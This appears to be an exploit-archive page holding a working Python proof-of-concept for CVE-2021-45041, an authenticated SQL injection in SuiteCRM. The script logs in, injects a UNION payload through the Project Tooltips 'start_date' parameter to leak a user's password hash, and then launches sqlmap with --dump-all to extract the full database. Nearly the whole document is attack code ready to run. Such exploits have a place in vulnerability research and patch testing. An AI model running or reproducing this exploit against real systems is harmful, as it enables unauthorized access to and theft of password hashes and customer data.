4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import click
from re import findall
from os import system
from urllib.parse import urlencode
from shlex import quote
import logging

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("CVE-2021-45041")


def prepare_injection(injection: str) -> str:
    matches = findall("'(\w+)'", injection)

    for match in matches:
        chars = ",".join([f"CHAR({ord(c)})" for c in match])
        output = f"CONCAT({chars})"
        injection = injection.replace(f"'{match}'", output)

    return injection


def map_idx_to_column(value: str) -> str:
    injection = prepare_injection("SELECT user_hash from users limit 1")
    if value == 5:
        return f"({injection})"
    return f"{value}"


def prepare_sqlmap_command(host: str, query_params: dict, cookies: dict,
                           dbms: str, col_count: int) -> str:
    host = quote(host)
    dbms = quote(dbms)
    query_params = urlencode(query_params).replace('%2A', '*')
    cookies = "; ".join([str(x) + "=" + str(y) for x, y in cookies.items()])

    return f"sqlmap -u '{host}/index.php?{query_params}' --headers 'Cookie: {cookies}' --technique U --dbms {dbms} --union-cols={col_count} --batch --dump-all"


@click.command("CVE-2021-45041",
               epilog="https://github.com/manuelz120/CVE-2021-45041")
@click.option(
    "--host",
    '-h',
    default="http://localhost",
    help="Root of SuiteCRM installation. Defaults to http://localhost")
@click.option("--username", '-u', prompt="Username> ", help="Username")
@click.option("--password",
              '-p',
              prompt="Password> ",
              help="password",
              hide_input=True)
@click.option("--col_count",
              '-c',
              default=44,
              help="Number of columns to use in union query. Defaults to 44")
@click.option("--dbms",
              '-d',
              default="mysql",
              help="DBMs used by SuiteCRM. Defaults to mysql")
@click.option("--is_core",
              '-d',
              default=False,
              help="SuiteCRM Core (>= 8.0.0). Defaults to False")
def main(host: str, username: str, password: str, col_count: int, dbms: str,
         is_core: bool):
    host = f"{host}/legacy" if is_core else host

    session = requests.Session()
    login_response = session.post(f'{host}/index.php',
                                  data={
                                      "module": "Users",
                                      "action": "Authenticate",
                                      "user_name": username,
                                      "username_password": password,
                                  })

    if "&action=Login" in login_response.url:
        logger.error(
            "Login didn't work. Are you sure you specified the correct parameters?"
        )
        exit(-1)

    logger.info(
        f"Login did work - Trying to leak user hash to check if SuiteCRM is vulnerable"
    )

    union_cols = ", ".join(map(map_idx_to_column, range(col_count)))
    payload = f') UNION SELECT {union_cols} from dual; #'

    response = session.get(f'{host}/index.php',
                           params={
                               'module': 'Project',
                               'action': 'Tooltips',
                               'resource_id': 'test\\',
                               'start_date': payload
                           })

    markup = BeautifulSoup(response.text, "html.parser")
    output = markup.find_all('tr')[1].find_all('td')[1].text
    logger.info(f"Received the following hash: {output}")
    logger.info(
        f"If this doesn't look like a password hash, the exploit might not work correctly"
    )

    sqlmap_command = prepare_sqlmap_command(
        host, {
            'module': 'Project',
            'action': 'Tooltips',
            'resource_id': 'test\\',
            'start_date': ") *"
        }, session.cookies, dbms, col_count)

    logger.info(f"Launching sqlmap against target to get full DB dump")
    logger.info(sqlmap_command)
    system(sqlmap_command)


if __name__ == "__main__":
    main()